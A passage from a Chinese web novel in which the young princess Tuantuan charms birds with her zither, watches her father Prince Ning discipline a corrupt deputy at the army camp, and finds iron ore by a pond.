窗外竟扑棱棱飞进来几只小鸟,在团团的头顶盘旋飞舞,发出清脆悦耳的鸣叫,仿佛在与那声琴音应和。
店内众人顿时一片哗然!
“这……百鸟来朝?”
“这小姑娘是谁?竟有如此灵性?!”
琴声停了,团团的注意力被小鸟吸引,高兴地“哇”了一声,完全忘记了弹琴,仰起小脸,对着盘旋的小鸟挥舞起了手臂“小鸟!小鸟!啾啾!三哥哥,你看啊!小鸟来找我玩啦!”
“下来啊!小鸟!让我摸摸!”
令所有人目瞪口呆的是,那几只小鸟竟真的收敛起翅膀,一只落在了她的指尖,一只停在了她的肩膀,还有一只更大胆,直接在她头顶那个软乎乎的小啾啾上蹦跶了两下!
团团顶着几只小鸟,眼睛亮晶晶的,笑得像个小太阳,仿佛本就该与这些自然的精灵融为一体。
钟子牙眼神深邃,一脸动容地看着眼前的小团子。
萧宁珣则是与有荣焉,下巴抬得老高,恨不得告诉所有人:这是我的妹妹!
周语薇的脸色阵阵青白,嫉恨交加,强自镇定地冷笑了一声:“不过是凑巧拨出几个清音,引来些扁**畜生罢了,哗众取宠!“
她深吸了一口气,缓缓落座,像是要证明什么似的,再次将手按在了琴弦上:“我就不信了,一个无知幼童,焉能与我苦练十数年的琴艺相提并论?
说完,她努力收敛心神,拨动了琴弦:“刚刚只是随手而弹,并未用心。待我再奏一遍《高山流水》,叫你们知道何为真正的风雅之音!”
然而,这一次的琴音因为她内心的惊慌,嫉妒,焦躁,混乱……失去了原有的音色,非但没有比上一次更好,反而尖锐刺耳了起来。
刚才还乖巧停在团团周身的小鸟们像是被什么噪音惊动,瞬间全部扑棱着翅膀,惊慌地从窗户飞了出去,逃也似的消失在天空中。
团团的小脸垮了下来:“小鸟!别跑!再陪我玩一会儿!”
“噗嗤——”店内不知是谁先忍不住笑出了声。
这对比也太惨烈了!人家小姑娘随手一拨便是天籁之音,你这苦练十几年的琴技却直接把鸟儿都吓跑了?
周语薇望着飞走的鸟儿,听着耳边嘲讽的闷笑,脸上血色尽褪,手指一僵,心下愈发慌乱。
“铮——啪!”
一声刺耳的锐响过后,众人一看,竟是她手下的一根琴弦应声而断!那绷断的琴弦向回弹起,差点扫到她的脸。
店内瞬间一片死寂,随即便响起一阵压抑不住的窃窃私语。
“哈哈!这琴是怎么弹的?把鸟都吓跑不说,还把弦都弹断了?”
“这就是苦练十数年的琴技?还不如人家小姑娘随手一拨!”
“靖海侯府的才女啊,原来也不过如
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此。”
周语薇僵坐着,看着断掉的琴弦,双手开始微微颤抖,眼泪再也忍不住,瞬间便冲出了眼眶。
她手足无措,脸上红得几乎滴出血来,羞愤欲绝,猛地站起身,推开面前古琴,掩面冲出了清音堂。
韩雪苓狠狠地瞪了团团和萧宁珣一眼,铁青着脸追了出去。
团团很奇怪:“三哥哥,她们怎么了?”
萧宁珣被妹妹一喊,才回过神来,低头看向正仰着小脸望着自己、完全不知道发生了什么的妹妹,喃喃道:“团团啊,你真是,总能让我惊讶啊!”
钟子牙默默看着眼前的一切,蹲下了身子:“小姑娘,你弹得真好!“
团团听到夸赞,笑了,酒窝深现:“三哥哥,伯伯夸我弹得好呢!“萧宁珣笑着点头:”是啊,团团弹得真好!“
钟子牙道:“伯伯将这把琴送给你了。不过,这琴啊,要想弹出来好听,像方才那样能把小鸟都招进来,可是需要时时养护的。”
“你会保养它吗?”
团团摇了摇头:“我不会呀。”
钟子牙露出一个狡猾的,势在必得的微笑:“那这把琴虽然归了你,但要放在伯伯这里,伯伯帮你照顾好它,你想看小鸟的时候呢,就到伯伯这里来弹,好不好?”
萧宁珣眉头皱起,钟大师啊,你这不是,明摆着想诓团团再来你这里弹琴吗?你可是大师啊!居然,如此哄骗小孩子?
团团想了想,伯伯说的有道理,自己确实不知道怎么照顾琴,于是点了点头,答应了:“好吧。”
“你叫什么名字啊,小姑娘?”
“我是团团!”
“团团?”钟子牙站起身来,看向萧宁珣。
萧宁珣拱手道:“钟大师,这是我妹妹,宁王府的嘉佑郡主。”
周遭传来一片吸气声:“原来她就是嘉佑郡主!”
“啊?那位打赌为兄长赢了雪参,又识破了谢老板金钗的嘉佑郡主?”
“就是她啊!才多大啊!“
萧宁珣一把抱起了团团:“钟大师,我们回府了,告辞。“转身便往外走。
团团回头冲着钟子牙不停挥手:“谢谢伯伯送给我琴啊!我想看小鸟就来找你啦!下次我来给你带回礼哦!“
钟子牙微笑着对她点了一下头。
第65章 怎么又是你?!
萧宁远日日服食雪参,手握金钗,十余日之后,不但手不再颤抖,连身体的整体状况都远胜从前,再次离家去了商行。
这十几日,朝廷上发生了两桩大事,震惊了朝野上下。
首先就是,圣上看到刑部递上来的有关工部尚书的折子后,大为震怒,下旨严惩。
“工部尚书赵衡,贪墨河工银两,纵妻林氏买凶谋害宁王之子,更兼府内残害人命,罪证确凿,罪大恶极!“
“革去一切官职功名,抄没家产,斩首示众。林氏,斩立决!家中子弟皆流放三千里,永不得返京!
其次就是,圣上下旨,宁王重返军中。
“国之大事,戎事之基,在于训演。特命宁王萧元珩为京畿大营巡查使,总览京畿各营操练事宜,汰弱留强,以固国本。各营须全力配合,不得懈怠。”
这道圣旨尤其耐人寻味,此旨一下,宁王便可重返军中,但却并不似从前那般可以掌管一切。
宁王府,养正轩中。
程如安微微皱眉:“王爷,圣上这旨意……“
萧元珩不以为意:“帝王权术罢了。如今四方安定,海晏河清,无需我再领兵出征。“
“军中最易增长的便是恃功傲君,呼群结党之风。既用不到我,又不想我远离,折中之举罢了。“
“无妨,不必担心。珣儿回了书院,远儿去了商行,我正好领了这个职,带着辰儿去趟军中。让他也熟悉熟悉军中之事。”
“这孩子与我最像,将来必定是要成为一代名将。若不是他前几年腿上有伤,我又卧病不起,他早该人在军中了。“
程如安点了点头:“辰儿本也意在从军,但王爷不是说,如今军中不比从前了吗?辰儿此时去,想必定会遇到诸多阻力,又该如何是好?“
萧元珩朗声一笑:“阻力无时不有!将来面对敌军,岂不更是生死关头?若连今日这点阻力都无法解决,他日又如何征战沙场?“
程如安轻轻叹了一口气:“便依王爷罢,我只愿国泰民安,你们父子谁都不要上战场才好。“
萧元珩看着妻子,目光变得无比温柔:“是啊,国泰民安,我一生征战,就是为了国家永葆昌盛,百姓安居乐业。我去跟辰儿说一声。“说完,起身往辰振轩而去。
人还没走进院里,就已经听到女儿的笑声:“二哥哥真棒!再高点儿!再高点儿!“
萧元珩一听就笑了,抬头一看,萧宁辰正把妹妹单手举过头顶,另一只手里还提着一个沉重的沙包。
“你倒会哄她玩。“
“爹爹!“团团看见了他,冲着他张开了小胳膊。
萧宁辰手臂发力,将妹妹向父亲扔了过去,萧元珩长臂一伸,把女儿接到了怀里,团团咯咯咯的笑成了一团。
萧宁辰满头大汗,放下沙包:“团团还没沙包沉呢,她又喜欢被举高,我正好举着她练臂力了。“
萧元珩抱着女儿就是又亲脸蛋又捏小胳膊的一通揉搓,团团笑个不停,搂住了他的脖子:“爹爹好坏!“
萧元珩把她稳稳地抱在怀里,将自己的打算跟儿子说了一遍。
萧宁辰很是兴奋:“好!我明日便随父亲同去。“
“你们要去哪里啊?“团团没有听懂。
萧元珩回答:“去军营看看,那里有很多我的旧部。几年没见了,正好去探望一番。你二哥将来是要在那里大展宏图的。带着他去都认识一下。“
“我也要去!“团团听不懂什么是军营,只知道,爹爹要带着二哥哥出门去,那不带着自己怎么行!
“你不能去哦!那里全是一群粗野汉子,你去怎么能行。你一个小姑娘,在家里陪着母亲才是正理。“萧宁辰不同意。
“我不嘛,我就要去!大哥哥和三哥哥都不在家里,你们去哪儿,我就要去哪儿!“团团撅起小嘴,使劲晃着小脑袋。
萧元珩想了想:“也罢,明日就是去看看,倒也无妨。“
萧宁辰无奈摇头,父亲对团团,真是半点都舍不得拒绝。
次日一早,三人来到了京郊大营。
门口的士兵见到萧元珩,激动地大喊起来:“王爷来啦!王爷来啦!“
萧元珩怀里抱着女儿,微微点头:“你们都还好?“
听到呼声的老兵们聚拢过来,有的人
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一时控制不住,流下泪来:“王爷!您身子好了?“
“我们都盼着您回来呢!“
萧宁辰默默跟在父亲身后,看着这些兴奋激动的面孔,深深地体会到了他们对父亲的拥戴之情。
三人走到主将的大帐外,却看到一个人正赤膊趴在帐外的长凳上,旁边站着两个人,手中拿着军杖,像是要对他施刑。
那人听到了周围的声音,从长凳上一跃而起:“王爷!您终于回来啦!”
萧元珩一看,正是自己的老部下张武安:“你犯了何事?因何要受军杖?”
张武安正想开口,大帐帐帘一掀,走出来两个人。
年纪大的团团不认得,但那个年轻的她可太熟了,就是没记住名字:“哇!给我磕了三个响头的!你怎么在这里啊?”
“谢谢你的雪参啊!大哥哥吃了,身体可好啦!”
众人听了,都一脸诧异地望向那个年轻人,吕副将?何时给这个小娃娃磕过头?这小娃娃还坐在王爷的怀里,是宁王府的孩子?
“怎么又是你!”吕铮的脸一下涨得通红,惊怒交加,却说不出话来为自己辩驳。
玄穹观的赌约是他毕生奇耻大辱,被父亲责罚后,便命他去军营历练,再不许与京中的纨绔子弟们接触。
他娇生惯养,一听要去军营中受苦,本来是怎么都不肯从命,在家里求爷爷告奶奶的让她们帮自己讲话,想令父亲回心转意。
可转念一想,赌约之事已传遍京城,恐怕今后自己一出门便会被别人耻笑,颜面全无。军营封闭,知道的人极少,倒确实是个能躲事儿的地方。
再说了,父亲是京畿兵马指挥使,统管京郊大营,自己去了便是副将,倒也不会受太大的苦,这才来了。
万万没想到,居然又在这里遇到了团团!还一语便将自己最见不得人的事给喊了出来!
他瞪着团团,脸涨成了猪肝色,哑口无言,又气又恨又急。
“吕副将,退后!”年长的男子脸色一黑,张口解救了他,冲着萧元珩拱手:“宁王殿下,下官是京畿兵马指挥使吕怀仁,不知宁王今日所来何事?
第66章 坏蛋!难怪这么难看!
萧元珩微微一笑:“本王如今是京畿大营巡查使,今日正是奉圣旨前来,查看各营操练事宜,吕指挥使不会不知吧。”
见他搬出了圣旨,吕怀仁嘿嘿一声假笑:“王爷辛苦。”
萧元珩看了一眼张武安:“他所犯何错?因何受罚?”
吕铮哼了一声,张口便来:“他不遵军令,还出言不逊,顶撞上封,难道还不该受罚吗?”
萧元珩一个眼神都没给他,一指张武安:“你来讲。”
张武安单膝下跪行礼:“启禀王爷,吕副将命末将带队于昨夜暴雨中急行百里,负重奔袭。“
“因日间已负重操练过,末将见士卒疲敝,又逢暴雨,恐生意外,恳请延期或取消。吕副将便以‘违抗军令、动摇军心’之罪,要杖责末将五十军杖!”
“你胡说!”吕铮立刻跳脚,“分明是你贪生怕死,还敢狡辩!”
萧元珩道:“夜间奔袭,从前便有,但既遇暴雨,便该改期。他爱护士卒,何错之有?”
旁观军士均默默点头,表示赞同。
吕铮却依然嘴硬:“王爷!如今军务并非您在掌管,如何练兵自有现在的指挥使吕大人定夺。“
“您偏袒旧部,插手军务,怕不是担心吕大人练出来的兵强过了您的旧部吧!”
这话露骨,且说得毫不客气,萧宁辰一听便沉了脸色,斜睨着吕铮:“吕副将,你逾矩了。“
团团听不懂他们在争些什么,正无聊地玩着爹爹的一缕头发,看见二哥哥脸色不对了,这才抬起了头看了看吕家父子。
吕怀仁此时却心念电转,也好,不如趁这个机会,彻底打压了宁王那些不听话的旧部,今后自己才能更好地掌控大营。
如今宁王领了这个监军一般的职务,难免以后还会对我指手画脚,不如今日便让他当众出个大丑,从此再没脸再进我的大营,岂不更好!
于是他佯装训斥:“吕副将!住嘴!岂能同王爷这般讲话?”
话锋一转:“王爷息怒!犬子年轻气盛,行事或有急躁。但其所下军令,都是依照如今京营新定的操典规矩,并未有错。”
“王爷久不在军中,或许不知,如今练兵,首重令行禁止,必须绝对服从!张武安违令抗命,按新规,确该受罚!莫非王爷觉得,如今这京营操练之法,错了不成?”
萧元珩正色道:“好一个‘新操典’!吕指挥使,本王且问你,练兵是为了什么?是为了将士们能在战场上打赢敌军,重返家园!”
“他们既已经过了日间的负重,为何暴雨之夜仍要无谓奔袭?如此徒耗士卒体力,极易激生疫病,若遇敌袭,又何以应对?此非严苛,而是蠢钝!”
吕怀仁一听,可以了,机会来了:“口舌之争无益!王爷既认为你训练的的旧法更胜一筹,不如就此比试一番?“
他抬手一指:“咱们便以此‘破阵夺旗’的校场为准,你我双方各出五人,一队由张武安带领,一队由吕副将指派。哪方赢了,今后京营的操演便用哪方之法!如何?”
吕铮心中暗喜,这校场中的各种障碍早已由父亲的亲兵进行了诸多改造,与先前大不相同,这些原来的老兵们根本没走过全程!
可父亲的亲兵却了如指掌,这次赢定了!
萧元珩看了一眼张武安:“你可敢应战?”
张武安血液沸腾,早就看那些新兵们不顺眼了,仗着是吕家父子的亲信,个个没什么本事还趾高气扬,经常无故欺压老兵们,于是高声回复:“末将领命!”
很快,双方人马选定。
吕铮那边派出的是五名膀大腰圆、气息彪悍的年轻精锐,张武安这边,则是挑选了四个年纪稍长、眼神沉稳锐利,同自己一起上阵厮杀过的老兵。
团团看着他们都聚在一个地方,很是奇怪:“爹爹,他们要干什么啊?为什么都站在那个地方呢?”
萧元珩告诉她:“他们现在啊,是要比试,那里是出发的地方,远处那个小旗子,便是终点,谁先到达,把那个小旗子拿到手,谁就是赢家。”
团团明白了:“哦,他们要抢那个小旗子!”
“对喽!好闺女。你愿不愿意看啊?要是不想看,让你二哥带着你去周围转转。“
“爹爹,这里面有咱家的人吗?“团团一个人都不认识,谁跟是谁都没分清楚。
萧元珩指了指张武安:“这个人,你可以叫他张叔叔,是跟随我多年的老部下,不是咱家的人,但却是我最信任的兵,若是上了战场,我可以放心把自己的性命交给他。“
“哇!“团团瞪大了眼睛:”爹爹!那张叔叔很好啊!“
她想了想,明白了:“给我磕头的是坏蛋,站在他旁边的也是坏蛋,就是他们两个,要打张
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叔叔,爹爹不让他们打,所以要比试,谁赢了就听谁的,对不对?”
萧元珩笑着捏了捏她的小脸蛋:“团团真是聪明!就是这么回事儿!你张叔叔若是赢了,以后呢,就不会随意被人欺负啦。”
他深深地看了一眼从前跟着自己那些老兵们:“不止他,爹爹从前的那些兵,就都不用再忍气吞声了。”
团团看了看张武安,又看了看吕家父子,哼了一声,把小脸扭了过去,坏蛋!难怪长这么难看!
萧宁辰迅速仔细地观察了一遍场地和吕铮挑选的五个人,快步上前,在张武安身旁低声道:“张叔,对方求快,必会直冲中央最快路径。“
“但他们五人能力虽强,步伐却并不一致,第二道矮墙后的壕沟便是他们的瓶颈,他们必会在此拥堵一瞬。”
“你可带人在开局时,稍慢半步,避其锋芒,走左侧外围,虽路程稍远但地势好走。待他们在那壕沟处挤作一团时,你们便从侧翼加速,反而能抢先通过那片区域!”
张武安见过他,闻言眼中精光一闪,重重点头:“末将明白!多谢二公子!”
“咚!咚!咚!”战鼓擂响,所有人都聚在周围,校场上杀声一片,比赛正式开始。
吕铮挑选的那五人果然如脱缰野马,不顾彼此,赛跑般猛冲中央捷径,想从最短的路上取胜,速度极快。
张武安则依计行事,阵型严谨地直插左侧。
正如萧宁辰所料,那五人脚步虽快,但在跨越到第二道矮墙后的壕沟时,因为求快心切,步伐不一,瞬间挤撞在了一起,乱成一团,速度大减!
而此刻,张武安的小队已从左侧流畅通过,实现了反超!
“好!”围观的所有老兵们都爆发出了一声喝彩!
团团拍着小手,喊得比谁都欢:“张叔叔加油!赢他们!“
吕怀仁顿时脸色一变,吕铮更是急得大喊:“废物!快追啊!”
那五人调整过来,疯狂追赶。
张武安的小队配合默契,很多障碍虽然从没有练过,但凭借着经验老到,过绳网、爬高墙,都没有被难住,动作虽不如那五人迅捷,却行云流水,毫无迟滞,始终保持着微弱优势。
最后一段是一片开阔地,没了障碍,吕铮的精锐们凭借年轻力壮,终于逐渐拉近距离,几乎与张武安小队同时冲到了旗杆下!
第67章 以后他再也不能欺负你的兵啦
双方立刻爆发了激烈的争夺!
最先到达的那个年轻士兵仗着体力足力气大,冲上来就想强行推开几个老兵。
张武安一个眼色,身旁两名老兵没有正面迎敌,而是故意侧身一让,对方正使足的力道顿时一空,向前踉跄了一步。
自己则怒吼一声,借力一蹬身旁队友早已俯下的肩膀,身形暴起,抢先半步,一把将那面红色的军旗牢牢抓在手中!
“赢了!我们赢了!”张武安高举军旗,尽管气喘吁吁,却声如洪钟!
他身后的四名老兵也激动地互相搀扶着,放声大笑!
全场寂静了一瞬,随即爆发出雷鸣般的欢呼!尤其是那些老兵的欢呼声最为响亮!
团团在爹爹的怀里开心得几乎就要蹦出去:“爹爹!张叔叔赢啦!他们赢啦!“
萧元珩微微一笑,不错,果然不愧是我带出来的兵!
吕铮气得大骂:“废物!都是一群废物!“
吕怀仁则是一脸铁青。
萧元珩看了他们一眼,朗声道:“练兵不但要强身,更重要的是知配合,善用脑,才能在战场上活下来!”
他目光直视吕铮,语气严厉起来:“吕副将,你还有何话可说?你不懂军务,胡乱下令,张武安据理力争,你非但不听,反而滥用职权,欲施重罚!”
“险些折损我军一员善战的老将!”
“既然方才你要杖责他五十,那本王便将这五十军杖转赐于你。你领得不冤!来人!行刑!”
提着军杖的两名士兵互相看了一眼,有些犹豫地看向吕怀仁。
“我看谁敢!”吕怀仁忍不住了,厉声喝道。
“吕指挥使,”萧元珩淡淡瞥了他一眼,“你要抗旨?”
吕怀仁顿时语塞。
萧元珩看向那两名负责行刑的士兵。
两人浑身一颤,不敢再耽搁,上前一步,拽起吕铮的两臂便将他按在了张武安刚才趴着的长凳上。
吕铮又惊又怕,军杖可不是闹着玩的,自己这小身板,哪里禁得起?嘶声大喊起来:“我不要!我不要!爹,救救我!爹!“
吕怀仁听着儿子的呼喊,深知他娇生惯养,这五十军杖下去,恐怕小命就没了,只能服软,拱手道:“王爷,犬子年幼,又刚入军中,不及军士们身体强壮。“
“请王爷开恩,可否……十杖?“
萧元珩看着他,一言不发,意思非常明显,你儿子打别人便是五十杖,如今轮到自己,十杖就想了事?
吕怀仁咬了咬牙:“二十杖?求王爷开恩!“
萧元珩这才点了下头,表示同意。
团团从他的怀里溜了下来,颠颠儿地跑到军杖前,仰起小脑袋看着行刑用的军杖:“哇,好大的棍子!“
萧宁辰赶忙走了过去,蹲下身来:“团团,这是拿来**的,不好玩,二哥带你去别处玩好不好?“
团团伸出小手,好奇地摸了摸:“二哥哥,这个棍子就是拿来**的啊,光秃秃的,好丑哦。“
围观众人听了不禁都是一笑,真是小娃娃,军杖要什么好看?好用就行了。
团团低头打开腰间绣囊,翻出了一根不知是哪里捡来的,只剩了半截的眉笔,在两个军杖上一阵涂抹:“给你们画上,就不丑啦!“
行刑的军士看得哭笑不得,但见宁王都在一旁微笑默许,便也只能由着她胡闹。
见两根军杖都被自己画上了一堆歪歪扭扭的黑线,团团心满意足地跑回了萧元珩的身边:“爹爹!抱!“
萧元珩把她一把抱起:“团团,马上要**了,怕不怕?“
团团搂紧了他的脖子:“不怕!“嘴里说得虽硬,小脸蛋却埋进了爹爹的脖颈:”就是,不好看。“
萧元珩伸出大手捂住了女儿的小耳朵,笑了:“那团团就趴在这里,不看。“
他环视四周,自己的老兵们都一脸动容地站在四周,厉声喝道:“行刑!”
两名军士吸了口气,如往常一般挥下了手中的军杖。
“啪!”第一杖落下。
“啊——!!!”吕铮爆发出一声凄厉无比的惨叫,仿佛那一棍不是打在肉上,而是直接砸碎了他的骨头!
围观的兵士们先
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是一愣,随即纷纷露出鄙夷之色。
“装什么装?才一杖就叫成这样?”
“平日里打我们的威风呢?”
两名行刑的士兵也是一愣,互相看了一眼,都在对方的眼中看到了奇怪:没用劲啊,这还都悠着呢,毕竟是吕指挥使的儿子,手下留情了啊。
“啪!”第二杖落下。
吕铮的惨叫再次响起,已经都不像人的声音了。
这下不止那些老兵,就连吕怀仁手下的亲兵们都露出了不屑的神色。
“不至于吧,谁没受过罚?这模样也太丢人了!”
“真是丢尽了咱们军人的脸!”
吕怀仁又气又急又心疼,挨打的是自己的亲儿子啊,却没有任何办法,只能期望赶紧打完,好叫军医来给儿子疗伤。
团团趴在萧元珩的耳边轻声道:“爹爹,以后他再也不能欺负你的兵啦!”
萧元珩心中一动,看向军杖上女儿刚刚画上的一堆黑线,一下就明白了,不禁微微一笑,捂紧了她的耳朵。
萧宁辰也正在困惑,顺着父亲的目光看过去,顿时恍然大悟。
“啪!啪!啪!”
军杖一次次落下,吕铮的惨叫一声比一声凄厉。
打到第十棍时,他已经嚎的声音嘶哑。
等到二十棍打完,他头一歪,彻底昏**过去,臀腿处一片血肉模糊。
行刑的士兵看着自己的手和军棍,一脸茫然。
周围的嘲讽声更大了,所有人都觉得吕铮就是在装惨。
只有萧元珩和儿子交换了一个心照不宣的眼神,一起看向团团那张无辜的小脸。
团团眨巴着眼睛,一脸“不关我事啊!我只是画了个画!”的表情。
吕怀仁急得语无伦次:“快!给我把他抬进大帐!军医呢?叫过来啊!”
一阵人仰马翻。
萧元珩哼了一声:“吕指挥使,倘若今后,再让本王知道你乱施刑罚,下一次杖责的便是你了!“
吕怀仁勉强压住心中愤恨,无心再多说什么:“遵命。“转身便跟着抬着儿子身体的士兵们冲进了大帐。
第68章 小石子在水上跑呢
张武安上前行礼:“末将多谢王爷!”如果不是今日萧元珩恰好来巡查,自己这五十军杖就挨定了,至少得躺上一个月才能养得好了。
萧元珩点了点头,团团甜甜地开口:“张叔叔好!我是团团!叔叔好厉害啊!叔叔以后要保护好爹爹哦!”
一句话把所有人都听愣了,这小娃娃,也太会说话了吧!
萧元珩笑得嘴角都咧到了耳根,一脸骄傲:“这是我闺女!“
张武安愣了片刻,赶忙行礼:“末将不敢当。“
萧元珩摆了摆手:“她是小辈,无妨。“
萧元珩看了周围一眼,目光落在了一个老兵的身上:“李老三!“
那个老兵马上站直了身子:“在!“
“你跟着我出征北疆时,右腿上受了箭伤,现在阴雨天还酸痛吗?“
李老三眼含热泪:“不疼了!谢王爷关怀!“
“好!没事儿的时候,要记着多用热巾敷一敷。“
“是!“
团团看了李老三一眼,这一定也是爹爹最相信的人,奶声奶气地叫了一声:“李叔叔好!“
李老三呆住了。
萧元珩亲了闺女一口:“真乖!”给了李老三一个鼓励的眼神。
李老三泪流满面地答应了:“诶!”
萧元珩目光移动:“方青!“
又一个老兵高声应和:“在!“
萧元珩正色道:“你跟我讨伐南域时,左手险些被敌军砍断,如今恢复得如何?“
方青抹了一把脸上的眼泪:“谢王爷记挂!若不是王爷不离不弃,将我从**堆里救出,又请来名医给我医治,这条膀子早就不在了!“
团团马上开口:“方叔叔好!“
方青大声答应:“诶!小姐好!“
萧元珩一个一个地问下去,竟记得住每个跟随自己浴血奋战的老兵的名字和他们的经历与伤势。
被喊到的每一个老兵,都一脸恨不得为他**的表情。
团团也随着父亲的点名,挨个儿都叫了叔叔,那些叔叔们看她的眼神,早已跟看自家孩子没了两样。
萧宁辰满脸动容地看着这一切,深深的体会到了,自家爹爹之所以如此获得将士们爱戴,正是因为,他是真的爱兵如子。
再回想刚才吕家父子的行径,忍不住生出了浓浓的鄙夷。
过了好半晌,萧元珩跟所有和自己上过沙场的老兵都打完招呼之后,挥了挥手:“都散了吧,我今后会常来。“
众人这才依依不舍地散去了。
“张武安!带着我们在这四周走走,团团第一次来,让她好好玩一会儿。“
“是!“张武安在前面带路:”这里荒山野岭,除了后面那个水潭,风景还行,其他也没什么可看的,小姐想去瞧瞧吗?“
“好!“团团从父亲的怀里溜到地上,牵起了萧宁辰的手:”二哥哥,咱们一起去玩!“
“好。“萧宁辰拉着她的小手,不紧不慢地跟在父亲和张武安身后,一行人慢悠悠地走进了后山。
越往深处走,草木愈发葱郁,一条清澈的溪流从山涧蜿蜒而下,汇入山下不远处一汪不大的水潭。潭水清澈,岸边散落着各色石子。
团团眼睛一亮,放开了萧宁辰的手,撒开小短腿跑到水潭边,蹲下身就开始捡小石子。
萧元珩与张武安相视一笑,停下脚步,在潭边不远处找了个地方席地坐了下来。
萧宁辰含笑跟上,站在妹妹身后,防止她滑倒。
团团撅着小屁股,在一堆石子里翻来翻去。
她把光滑圆润的石子捡出来放在岸边堆成一堆,又把颜色深沉、形状古怪的石头捡出来堆成另外一堆。
没一会儿两堆石子便已经垒得高高的了。
团团坐在两堆石子中间,喘着小粗气:“二哥哥,你看!我捡了这么多呢!“
萧宁辰一趟一趟地跟着她来回跑,要帮忙她还不让,不禁笑了:“对啊,团团真厉害!都是团团一个人捡的!“
团团得意地摇晃起了小脑袋,两只小手从两个石堆里分别拿起了一块,掂了掂:“咦,二哥哥,深色的石
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头比浅色的沉很多呢!“
她将手里的黑石头递给萧宁辰:“二哥哥,你拿拿看!”
萧宁辰接过来,入手一沉,也有些惊讶:“确实比寻常石头重上许多。”
“来,团团,既然你捡了这么多石子,二哥给你打水漂看好不好?“
“好啊!什么是打水漂啊?”团团一脸好奇。
萧宁辰捡起一把浅色的石子握在手里,走到潭边,斜着将石子丢向水面。
那石子在水面上弹起,划出一道弧线,又落回水面,再弹起,一下,两下,三下……足足弹了六七下,才掉落在水中。
团团兴奋了:“小石子在水上跑呢!二哥哥真棒!再来!再来!”
萧宁辰笑着满足了她,直到手中的石子全都丢光了。
随手又抓起了一把深色的石子,丢了一个出去。
咕咚!没弹起来,直接落水。
萧宁辰一愣,找好了角度又试了一遍,依旧没有弹起来。
团团拿起一块,仔细看了看,转身跑到萧元珩跟前,举给他看:“爹爹!爹爹!你看!这个石头,好重哦!还有亮闪闪的点点!二哥哥打水漂都打不动它!”
萧元珩微笑低头,接了过来:“是嘛?让爹爹看看啊。”
看着看着,他脸上的笑容倏地停住了,两手仔细摩挲石子的表面,触手并非普通石头的粗粝,反而带着一种冷硬的金属质感,边缘略显锋利。
那沉甸甸的分量,绝非寻常山石该有。
他脸色逐渐变得凝重,翻来覆去地查看,心中有了猜测,却因为太过震惊而不敢相信。
张武安见他神色有异,也凑过来细看。
他瞳孔骤然收缩,倒吸一口凉气,声音变了调:“这、这纹理!这质地!王爷!这莫非是……”
他猛地抬头看向萧元珩,眼中满是难以置信的狂喜。
萧元珩看了他一眼:“你也觉得是?“将石头递给了他。
张武安接过来,又仔细地看了看,拿在手里掂了掂,重重点头:“绝对不会错!”
第69章 你要在这里荡秋千吗
“末将从军前在家乡便是挖矿的,这就是铁矿石!而且看这品相,是上等的货色!”
他猛地转头,看向那汪水潭和蜿蜒而上的溪流,声音发颤:“我们,我们在此地驻扎数年,这水潭边,弟兄们来来往往取水饮马多少次了!竟从未,从未发现……”
团团好奇地看着他们:“这块石头怎么了?爹爹?张叔叔,你还要吗?“她回手一指:”我还捡了很多哦!“
张武安望着她,眼神充满了惊叹与敬畏:“小姐!小姐您真是……祥瑞啊!”
“天佑我军!天佑王爷!小姐,您真是王爷的福星,是我们所有人的福星!”
团团不明白发生了什么,但听到说自己是福星,顿时开心了起来:“团团捡到了宝贝!对不对?爹爹?是不是?张叔叔?”
“没错没错!就是捡到了宝贝!大宝贝!”张武安连连称是。
萧宁辰也走了过来:“父亲,这是?”
“辰儿,你带着团团再去打会儿水漂,我跟你张叔有话说。”
“嗯。”萧宁辰明白,一定是事关重大,于是转身带着团团继续去潭边玩了。
萧元珩心中波澜起伏,铁矿啊!那可是造剑铸甲,扩充军队的关键之物!
若这矿藏足够,便能打造出数不尽的坚甲利刃,装备起一支庞大的新军!
到时,莫说巩固边关,便是将来再有外敌敢犯我疆土,我大军铁蹄所向,必叫他们有来无回,铸我国土百年太平!
他压下胸腔里翻腾的心绪,目光锐利地扫视了一下四周,没有旁人,沉声道:“武安。”
“末将在!”张武安立刻抱拳,神情严肃。
“今日之事,仅你我和辰儿三人知晓。即日起,你亲自带人,顺着这溪流,秘密勘探。在确定矿脉规模、做好万全准备之前,绝不可走漏半点风声!”
“末将明白!”张武安久在军中,深知此事关系重大,“王爷放心,此事若从末将这里漏出一字,末将提头来见!”
萧元珩点了点头,望着正在潭边和儿子一起玩的兴高采烈的闺女,喃喃的低叹了一声:“团团啊,你可是给爹爹,送了一份天大的厚礼啊。”
当晚,父女三人回到了王府。
程如安听儿子说了军营中的事情,有些嗔怪:“王爷!团团年纪毕竟太小,军营那种地方,以后还是莫要再带她去的好。”
萧元珩见妻子责怪,讪讪一笑:“好啦!我知道啦,以后少带她去就是。”
心里却不以为然,团团才没那么胆小!再说了,若不是今日带了她去,又岂会发现那铁矿?
嘴上却不与妻子争辩,家和万事兴嘛!
次日一早,萧宁辰便去了军营。
他昨夜已从父亲口中得知了铁矿一事,带了一车的吃食用品,佯装去军营中探望父亲的旧部,实际则是方便张武安打着带自己游玩的幌子,配合他探寻矿脉。
萧元珩则是去了兵部,将昨日演练之事记录在案。
团团睁眼发现爹爹和三个哥哥都不在家中,闷闷不乐,怎么全走了?都没人陪我玩了。
程如安看着她耷拉的小脑袋,就明白了她在想什么。
“团团,想不想你三哥啊?咱们带些点心去书院看看他好不好?”
一听能见到萧宁珣,团团马上精神了:“好诶!好诶!娘亲!咱们去点心姨姨那里拿点心,然后去看三哥哥!“
程如安笑了:“行!不过,要少拿些啊!不能拿太多。“
“嗯嗯!“
母女俩来到巧酥阁,伙计们一看小郡主来了,二话不说,便将店内的点心一样打包了一份给她们装上了马车。
程如安连声婉拒:“不必,真不必,有两样就够。“
但伙计们说:“我们掌柜地吩咐过,只要小郡主登门,便这样给她都装上,王妃娘娘千万别客气。“
团团开心的道谢:“谢谢点心姨姨!“
程如安无奈地摇了摇头,毫无办法,只得道了谢,带着女儿来到了萧宁珣所在的白马书院。
可惜,书院正在授课,没能见到萧宁珣。
程如安只得将点心都留了下来,带着女儿回府。
没见到三哥哥,团团一路瘪着嘴,扒着窗户往外看,一句话都不说。
程如安看着女儿,愁得不行,确实,三个儿子身子好了以后,各有各的事情忙,谁都陪不了她了,这可如何是好。
若是宁姝能改了性子学好了,跟团团做个伴儿,就好了。
突然,团团伸出小手指着不远处路边的一棵歪脖子树:“娘亲你看!那个叔叔好奇怪
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呀,他在往树上扔绳子!是要荡秋千吗?”
